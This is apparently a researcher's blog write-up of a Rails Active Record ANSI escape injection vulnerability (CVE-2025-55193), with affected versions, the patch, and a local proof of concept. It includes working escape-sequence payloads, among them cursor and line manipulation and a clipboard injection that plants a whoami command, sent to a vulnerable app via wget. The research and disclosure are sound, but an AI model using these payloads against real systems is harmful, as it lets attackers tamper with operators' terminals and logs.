Last week, two security patches were added to Rails. One of them was meant to guard against the ANSI escape injection [CVE-2025-55193], a vulnerability affecting Active Record logging. I was curious what an attacker could achieve by exploiting this vulnerability. Here, I logged my findings and created a simple PoC.
The sink is here. This line prints to the console, and the id is a user-controlled parameter, so it should not be trusted.
⌄
raise(RecordNotFound.new("Couldn't find #{name} with '#{primary_key}'=#{id}", name, primary_key, id))
>>> ^bad boiii
It is not exploitable under most circumstances, and the impact is reduced on most terminals. However, it may still increase the attack surface, particularly if there are misconfigurations.
The affected versions:
- activerecord >= 8.0, < 8.0.2.1 (patched in 8.0.2.1)
- activerecord >= 7.2, < 7.2.2.2 (patched in 7.2.2.2)
- activerecord >= 0, < 7.1.5.2 (patched in 7.1.5.2)
Please upgrade to one of the latest Rails Versions 7.1.5.2, 7.2.2.2, or 8.0.2.1.
I wanted to see how it can be triggered, so for this, I set up a basic Rails app at the vulnerable version 7.1.0
.
mkdir ansi-vulnerable
cd ansi-vulnerable
echo "source 'https://rubygems.org'" > Gemfile
echo "gem 'rails', '7.1.0'" >> Gemfile
bundle install
# Check the rails v
bundle exec rails -v
Then I created the Rails app, the DB, and a placeholder scaffold.
bundle exec rails new . --force --skip-bundle
rails g scaffold book title:string
rails db:create db:migrate
rails s # localhost:3000
Locally, I am using the xterm-256color
term. So the payload for this might differ based on your terminal.
The escape sequences
I’ll not get into too many details on these. In 1967, the “C0” control character set was first defined (ISO 646).
But in the 70s, video terminals were the new cool thing. They could display colors/styles/formats, move the cursor around, modify previously written text, etc.
There was a need for standardization of the code performing these “magic” features. This was achieved by ECMA-48 (1976), ANSI X3.64 (1979), and ISO 6429 (1983).
The terms “ANSI escape sequences” and “ANSI control sequences” are often used interchangeably, but the control ones are actually a subset of the escape sequences.
Back to the Control Characters (Cc), there are two types:
- C0 - the first 32 non-printable characters of the ASCII table (defined initially in ISO 646). They are rarely used nowadays
- C1 - an additional 32 Ccs, both in 7-bit and 8-bit encodings. The 8-bit set is more straightforward and encodes each Cc in a single byte; it spans from 128 to 159 (decimal). The 7-bit systems cannot encode values over 128 in a single unit, so to represent them, it was decided to combine the ESC character with one character between decimal 64 and 95.
The format of a Control Sequence:
CSI Pn In F
- CSI - Control Sequence Introducer (
\x1b
(ESC)/\x9b
/\x5b
) - Pn - Parameter bytes (optional, code points
\x30
<>\x3f
, ofn
length, separated by “;”) - In - Intermediate bytes (optional, code points
\x20
<>\x2f
, ofn
length) - F - Final bytes (a bit combination from
\x40
<>\x7e
)
Alternative notation
You might see the string \e[32m
represented as:
printf '\x1b\x5b\x33\x32\x6d' - Hex
printf '\033\133\063\062\155' - Octal
printf '\u001b\u005b\u0033\u0032\u006d' - Unicode
printf '\27\91\51\50\109' - Decimal
printf '\e[32m' - ASCII
Note: the true Decimal notation would be plain numbers without the \
character.
The payload
I tested with this payload:
\x1b\x5b3;32;44m hello \x1b\x5b0m
Here:
-
\x1b
and\x5b
- CSI -
3;32;44
- P -
- 3 - italics
-
- 32 - color green
-
- 44 - background color blue
-
0
- resets the style -
m
- calling the function
PAYLOAD=$(printf '\x1b\x5b3;32;44m hello \x1b\x5b0m')
wget http://localhost:3000/books/$PAYLOAD
This triggers the RecordNotFound
error of ActiveRecord which prints the requested ID to the console. Being vulnerable to ANSI escape injection, it prints the styling as well.
This here suffices in demonstrating the vulnerability.
I researched what other things an attacker might be able to do. These depend on the terminal:
-
\x1b\x5b20F hello
- move the cursor to previous 20 lines -
\x1b\x5b10M hello
- delete 10 lines -
\x1b]8;;http://example.com\e\\This is a link\e]8;;\e\\\n
- print links in the victim’s terminal -
\x1b]52;c;c2xlZXAgMQplY2hvICQod2hvYW1pKQ==
- clipboard injection (injectingecho $(whoami)
) -
\x1b[?1001h\x1b[?1002h\x1b[?1003h\x1b[?1004h\x1b[?1005h\x1b[?1006h\x1b[?1007h\x1b[?1015h\x1b[?10016h\
- print mouse tracking values in the terminal
In some rare cases, it might even open up the possibility for remote command execution.
The patch
To fix this, the Rails team added a call .inspect
on the id before printing it to the console (commit 3beef20).
Resources
- https://nicholas-morris.com/articles/ansi-codes - Great read
- https://invisible-island.net/xterm/ctlseqs/ctlseqs.html - Documentation to all the sequences xterm supports
- https://www.youtube.com/watch?v=opW_Q7jvSbc - Weaponizing Plain Text: ANSI Escape Sequences as a Forensic Nightmare